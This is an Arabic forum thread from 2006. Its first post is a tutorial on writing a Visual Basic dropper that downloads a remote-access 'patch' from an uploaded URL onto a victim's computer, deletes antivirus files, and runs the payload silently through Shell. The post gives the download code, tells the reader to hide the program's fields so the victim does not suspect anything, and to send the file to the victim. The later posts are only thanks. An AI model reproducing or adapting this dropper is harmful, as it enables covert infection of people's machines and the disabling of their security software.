اصنع برنامج صغير يقوم بفتل الانتي فايروس وتشغيل الباتش في جهاز الضحيه بكل بساطه

**Mr.Joke** · 08-23-2006, 03:51 PM

هنا تتعلم كيق تقوم بصنع برنامج صغير يقوم بالتالي :
انزال باتش في جهاز الضحيه
قتل برنامج انتي فايروس
تشغيل الباتش في جهاز الضحيه

الشرح مبسط ومدعم بالصور التوضيحيه
وان شاء الله ينال اعجابكم
---------------------------

المتطلبات /

وجود برنامج فيجوال بيسك " ليس شرط ان تكون محترفا فقط اتبع الشرح وسترى "

تجهيز باتش بواسطة برنامج للاختراق وليكن مثلا البرورات

التسجيل بموقع مجاني لرفع الباتش عليه

اذا توفر كل ذلك فلتقم الان باتباع الخطوات

--------------------------
اولا

افتح برنامج فيجوال بيسك واختر الخيار الواضح امامك في الصورة

الان بعد ماقمت بفتح البرنامج قم باضافه التالي :
Class Module
Form
CommandButton
CommandButton
****box
****box

وقم بتسميتهم كالتالي

Class Module وقم بتسميته للتالي clsDownload
Form وقم بتسميته للتالي frmMain
CommandButton وقم بتسميته للتالي cmdDownload
CommandButton وقم بتسميته للتالي cmdexit
****box وقم بتسميته للتالي txtFrom
****box وقم بتسميته للتالي txtTo

بالنسبة لاضافة الازرار وصناديق التيكست و و و و و يتم بالضغط على ماتريده نقرتين سريعتين وجميع تلك الادوات موجوده في شريط الادوات على يسار الشاشه تجد به كل الادوات الافتراضيه وهنالك الكثير منها ولكن مخفي
المهم .
وطريقة اعادة تسميتهم هي الذهاب الى صندوق الاعدادات واختيار الخاصية Name وتغييرها
وبالنسبة لـ Class Module
فطريقة اضافته هي التالي اضغط بزر الفاره الايمن ومن ثم اضغط ادد واختر بعدها Class Module

شاهد الصور التالية التوضيحيه

الان بعد القيام بكل ماسبق وتغيير مايلزم
قم باضافة الاكواد اليها
وطريقة اضافة الاكواد هي نسخ الكود ووضعه في المكان المناسب

انسخ هذا الكود وضعه في داخل الـ Class Module

كود:

Option ExplicitPrivate Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As LongPrivate Declare Function InternetOpen Lib "wininet" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As LongPrivate Declare Function InternetCloseHandle Lib "wininet" (ByVal hInet As Long) As IntegerConst INTERNET_OPEN_TYPE_PRECONFIG = 0Const INTERNET_FLAG_EXISTING_CONNECT = &H20000000Const INTERNET_OPEN_TYPE_DIRECT = 1Const INTERNET_OPEN_TYPE_PROXY = 3Const INTERNET_FLAG_RELOAD = &H80000000Public Function Get_File(sURLFileName As String, sSaveFileName As String) As Boolean Dim lRet As Long On Error GoTo err_Fix lRet = InternetOpen("", INTERNET_OPEN_TYPE_DIRECT, vbNullString, vbNullString, 0) lRet = URLDownloadToFile(0, sURLFileName, sSaveFileName, 0, 0) Get_File = True Exit Functionerr_Fix: Debug.Print Err.LastDllError, lRet Err.Clear Get_File = FalseEnd Function

الان قمنا بنسخ الاكواد
الان كود الـ Class Module لاتقم بتغيير مافيه هذا الكود يعتبر بعد عملية نسخك للكود انتهى عمله

ولكن الكود الاخر الذي وضعناه في الفورم فبامكانك تغييره الى مايناسب احتياجاتك
يوجد بداخل الكود عنوان رابط لملف وهو التالي
http://www.xxx.com/xxxx.xxx
هذا الرابط قم بتغييره الى رابط الباتش الخاص بك والذي قد قمت برفعه الى موقع ا
تنبيه : اكتب الرابط كامل

بالنسبة للسطر الذي اسفل منه هو عنوان او مسار تنزيل ملفك بداخل النظام
لنفرض انك تريد انزال ملفك في القرص c
تكتب العنوان كما في الصوره
ولو اردت انزال الباتش في مجلد السيستيم او الوندوز او سطح المكتب او اي مكان اخر كل ماعليك القيام به هو كتابة المسار بين الاقواس
تنبيه لاتنسى كتابة اسم الباتش بعد المسار مثل التالي
c:\xxxx.xxx
حيث
xxxx = اسم الباتش
xxx = امتداد الباتش

اذا اردت ضهور رسالة بعد عملية انزال الملف فاكتب ماتشاء بالعربي بالانجليزي بالفرنساوي اهم شي يكون بين الاقواس

شاهد الصوره

الان هذا هو برنامجنا الذي قمنا بعمله شاهد الصورة

سيكتب عنوان الباتش في التيكست الاول
والتيكست الثاني يكتب فيه المسار

وعلى حسب رغبتك اذا اردت ان تخفي التيكست كما افضل انا من اجل عدم ان يشك من يستخدم البرنامج عليك القيام بالتالي

اختر التيكست الاول وحدد التيكست الثاني واذهب الى صندوق الاعدادات وستشاهد خاصية فيسبل قم بتغيير القيمة الى false
شاهد الصورة التاليه

الان برنامجنا اصبح شكلة كالتالي

لقد قمنا باخفاء صناديق النص التي كانت ضاهره في الخطوة السابقه

الان قم بكتابة الاسماء اى ازرارك وهي بشكل بسيط تضغط على زر الامر ومن ثم الذهاب الى صندوق الاعدادات
واختيار خاصية كابشن وكتابة الاسم الذي تريده
كمثل كتابة امر تشغيل امر خروج امر دخول امر اي امر تريده هذا يعتبر مجرد غطاء على الزر من اجل ارشاده حول عمل هذا الزر فقط لا غير ان شاء الله حتى ماتكتب شي على حسب رغبتك

وكذلك اذا اردت تغيير اسم الفورم عليك بتحديد الفورم ومن ثم خاصية كابشن وكتابة الاسم الذي يناسبك

شاهد الصورة التاليه

الان انتهينا من الجزء الاول
ولو اردت تجربة البرنامج فقم بتجربته
البرنامج الى الان يقوم بانزال الباتش الذي وضعت عنوانه وسيقوم البرنامج بانزاله في المسار الذي قمت بتحديده

قم بالتجربة وستعرف بنفسك
==-=-=-=-=-=-=-=-=-=-=-==

بقي الجزء الثاني وهو المهم

اذا اردت ان يقوم برنامجك بقتل مضادات الفايروسات عليك بالتالي
اضافة هذا الكود الى اي زر امر تضعه

كود:

Kill ("C:\xxxx.xxx")

الان لو تضع اي مسار لاي برنامج جرب على برنامج ماسينجر الهوتميل او الياهو وشاهد مالذي سيقوم به البرنامج سيقوم بالطبع بحذف البرنامج المحدد او الملف المحدد

وكتابة عنوان الملفات التي تريد من البرنامج ان يقوم بحذفها
شاهد الصورة التاليه

==-=-=-=-=-=-=-=-=-=-==

واذا اردت بعد كل ذلك تشغيل ذلك الباتش في جهاز الضحيه من نفس برنامجك والضحية لا يعلم فلا يتطلب الامر اكثر من استخدامك لاوامر الشل اللي في برنامج الفيجوال

اعمل التالي
على زر الخروج الذي قمنا بوضعه في الجزء الاول قم بكتابة الكود التالي

كود:

Shell "c:\xxxx.xxx"

لازم يكون المسار بين الاقواس
والمسار الذي ستكتبة هنا هو المسار الذي قد قمت بانزال الباتش فيه والامر Shell هو امر التشغيل

ولو قمت بكتابة هذا العنوان بين الاقواس

C:\Program Files\Yahoo!\Messenger\YPager

يقوم الشل بتشغيل الياهو ماسينجر
وهكذا
هذه هي الفكره هيا القيام بانزال الباتش في مسار معين ومن ثم تشغيله عن طريق امر الشل

-------------------

لاضافات على برنامجك

ضمن صندوق الاعدادات حدد ماتريد تغييره ثم حدد الخاصية المناسبة وقم بالتغيير الى مايلزمك
خاصية BackColor = تغيير اللون للخلفيه
Caption = كتابة اسم
ForeColor = لون الخط
Visible = الضهور والاخفاء

وغيرها الكثير
---------------

الان لجعل عملك برنامج تطبيقي اعمل التالي
شاهد الصورة التاليه

والان هنئيا لك بصناعة هذا البرنامج

==-=-=-=-=-=-=-=-==

بعد كذا تقدر ترفع الملف على موقع وتعطيه الضحيه
أو على حسب أسلوبك في أرسال الباتش
إن شاء الله أكون وفقت في إختيار الموضوع والصور

ولكم مني خالص الحب والإحترام

**الولهان77** · 11-22-2006, 12:47 PM

مشكور يالغالي

الله يعطيك العافيه

الولهان77

**حــاتم العــراقي** · 11-29-2006, 02:36 AM

مــــــــشكور اخـــــــــــوي
تـــقبل مــروري
ودمت بود

اخووووووووووك

حــاتم العــراقي

**ابوعبدالله** · 02-24-2007, 02:27 PM

*·~-.¸¸,.-~*شكري الخاص لك*·~-.¸¸,.-~*

مرحبا بك وبموضوعك الرائع
واطروحاتك الموفقة

والله يحفظك ....

وتقبل تحياتي القلبية
أخوك // الدغس

**pretty_smile** · 01-09-2008, 10:13 PM

-------------------------------------------

التميز خلال 24 ساعة
العضو المميز	الموضوع المميز	المشرف المميز
blu2th	really stupid بقلم : sa30di	لسعة شقاوه